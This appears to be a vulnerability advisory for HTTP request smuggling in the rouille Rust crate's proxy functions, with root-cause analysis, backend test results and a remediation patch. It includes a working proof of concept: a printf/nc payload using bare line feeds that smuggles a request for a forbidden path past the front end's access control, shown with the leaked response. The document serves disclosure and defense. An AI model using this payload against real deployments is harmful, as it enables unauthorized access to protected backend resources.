Share
## https://sploitus.com/exploit?id=PACKETSTORM:227167
# Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
    
    **Assigned CVE ID:** CVE-2026-67182
    
    ## Summary
    
    `rouille::proxy::proxy` and `rouille::proxy::full_proxy` copy client-supplied
    request header values into the upstream connection without checking them for
    control characters. A header value can legitimately contain a bare line feed
    (0x0A), because the underlying `tiny_http` header parser only ends a header line
    on CRLF. Backends that accept a bare LF as a line terminator therefore read one
    front-end request as two.
    
    The second request is fully attacker-controlled, including its method and path,
    and never passes through the rouille handler that decided to proxy the first
    one. Its response body is also returned to the attacker.
    
    ## Affected versions
    
    Repo URL: https://github.com/tomaka/rouille
    
    | | |
    |---|---|
    | First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
    | Last affected | 3.6.2 (2023-04-24), the current release |
    | Not affected | 0.3.2 and earlier, which have no proxy module |
    | Fixed in | no fixed version at time of writing |
    
    Every published release from 0.3.3 to 3.6.2 contains the unmodified code. The
    file `src/proxy.rs` is byte-identical between the 3.6.2 tag and the current
    `master` branch.
    
    Only applications that call `proxy::proxy` or `proxy::full_proxy` are affected.
    
    ## Severity
    
    CWE-444 (Inconsistent Interpretation of HTTP Requests), reached through
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).
    
    CVSS 4.0 base score 6.9 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N`
    
    ## Threat model
    
    The attacker is a remote, unauthenticated client that can send raw HTTP to a
    rouille server. No credentials, no user interaction, and no position on the
    network between components are required.
    
    The deployment at risk is a rouille application acting as a reverse proxy that
    makes a security decision (routing, authentication, authorization, or content
    filtering) before calling `proxy()`, in front of a backend whose HTTP parser
    accepts a bare LF as a header line terminator.
    
    Measured backend behaviour:
    
    | Backend | Version tested | Accepts the injected LF |
    |---|---|---|
    | Go `net/http` | go1.26.4 | yes, serves the smuggled request |
    | Python `http.server` (`protocol_version = "HTTP/1.1"`) | CPython 3.13 | yes, serves the smuggled request |
    | Node.js | v26.3.0 | no, returns 400 (llhttp strict mode) |
    | PHP built-in server | 8.5.8 | no, drops the connection |
    
    nginx and Apache were not tested. RFC 9112 section 2.2 permits a recipient to
    recognise a lone LF as a line terminator, so the accepting backends are behaving
    within spec.
    
    ## Root cause
    
    `rouille/src/proxy.rs`, lines 157 to 174:
    
    ```rust
    157      for (header, value) in request.headers() {
    158          let value = if header == "Host" {
    159              if let Some(ref replace) = config.replace_host {
    160                  &**replace
    161              } else {
    162                  value
    163              }
    164          } else {
    165              value
    166          };
    167          if header == "Connection" {
    168              continue;
    169          }
    170  
    171          socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
    172      }
    173      socket.write_all(b"Connection: close\r\n\r\n")?;
    174      io::copy(&mut data, &mut socket)?;
    ```
    
    Line 171 is the sink. `value` is untrusted and is written with no validation.
    
    The taint enters through `tiny_http`. In
    `tiny_http-0.12.0/src/client.rs`, lines 80 to 102, a header line ends only when
    a LF follows a CR:
    
    ```rust
     92              if byte == b'\n' && prev_byte_was_cr {
     93                  buf.pop(); // removing the '\r'
     94                  return AsciiString::from_ascii(buf)
     95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
     96              }
     97  
     98              prev_byte_was_cr = byte == b'\r';
     99  
    100              buf.push(byte);
    ```
    
    A lone LF falls through to line 100 and is pushed into the line buffer. LF is
    valid ASCII, so `AsciiString::from_ascii` accepts it. `Header::from_str` at
    `tiny_http-0.12.0/src/common.rs` line 184 then only trims the value, which
    strips leading and trailing whitespace but leaves interior bytes alone:
    
    ```rust
    187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
    188          let value = elems
    189              .next()
    190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
    191              .ok_or(())?;
    ```
    
    The result is a rouille header value containing a raw `\n`, which line 171 of
    `proxy.rs` writes straight into the upstream request.
    
    `Connection: close` on line 173 does not contain the damage. The injected blank
    line ends the first request before line 173 runs, so that header is absorbed
    into the smuggled request. The first request carries no `Connection` header and
    defaults to HTTP/1.1 keep-alive, which is exactly what lets the backend go on to
    process the second one.
    
    ## Proof of Concept
    
    Step 1. Create a backend document root with a public file and a file the proxy
    is supposed to protect.
    
    ```sh
    mkdir -p /tmp/webroot/public
    echo "PUBLIC PAGE"       > /tmp/webroot/public/index.html
    echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
    ```
    
    Step 2. Start a keep-alive backend on port 8001.
    
    ```sh
    cd /tmp/webroot
    python3 -c '
    import http.server, socketserver, sys
    class H(http.server.SimpleHTTPRequestHandler):
        protocol_version = "HTTP/1.1"
        def log_message(self, f, *a):
            sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
    socketserver.TCPServer.allow_reuse_address = True
    socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
    '
    ```
    
    Step 3. Start the rouille front end on port 8000. It proxies `/public/` and
    refuses everything else.
    
    ```rust
    use rouille::{proxy, Response};
    
    fn main() {
        rouille::start_server("127.0.0.1:8000", |request| {
            if !request.url().starts_with("/public/") {
                return Response::text("forbidden").with_status_code(403);
            }
            proxy::full_proxy(request, proxy::ProxyConfig {
                addr: "127.0.0.1:8001", replace_host: None,
            }).unwrap()
        });
    }
    ```
    
    Step 4. Confirm the access control works.
    
    ```sh
    printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    ```
    HTTP/1.1 403 Forbidden
    ```
    
    Step 5. Send a single request for the permitted path with a bare LF inside a
    header value. In the command below `\n` is a bare line feed and `\r\n` is a
    CRLF. The distinction is the whole attack, so do not let an editor normalise it.
    
    ```sh
    printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
    ```
    
    Result. The backend log shows two requests, the second one being the path the
    front end refused in step 4:
    
    ```
    [backend] "GET /public/index.html HTTP/1.1" 200 -
    [backend] "GET /admin.html HTTP/1.1" 200 -
    ```
    
    The attacker also receives the protected content, because `src/proxy.rs` line
    224 turns the remainder of the upstream socket into the response body:
    
    ```
    HTTP/1.1 200 OK
    Content-type: text/html
    Transfer-Encoding: chunked
    
    d7
    PUBLIC PAGE
    HTTP/1.1 200 OK
    Content-type: text/html
    Content-Length: 18
    
    SECRET ADMIN PAGE
    ```
    
    ## Impact
    
    An unauthenticated client can issue an arbitrary request to the backend and read
    its response, while the rouille handler only ever sees the permitted request.
    This defeats path-based access control, authentication performed in the handler,
    and any request inspection done before the call to `proxy()`.
    
    Two limits are worth stating. `proxy()` opens a fresh TCP connection per request
    and does not pool, so this does not give the cross-user request-queue poisoning
    associated with classic smuggling. The attack also needs an LF-tolerant backend,
    as measured above.
    
    ## Remediation
    
    Reject header names and values that contain control characters before writing
    them upstream. In `src/proxy.rs`, inside the loop at line 157:
    
    ```rust
    if header.bytes().any(|b| b < 0x21 || b == 0x7f)
        || value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
    {
        return Err(ProxyError::HttpParseError);
    }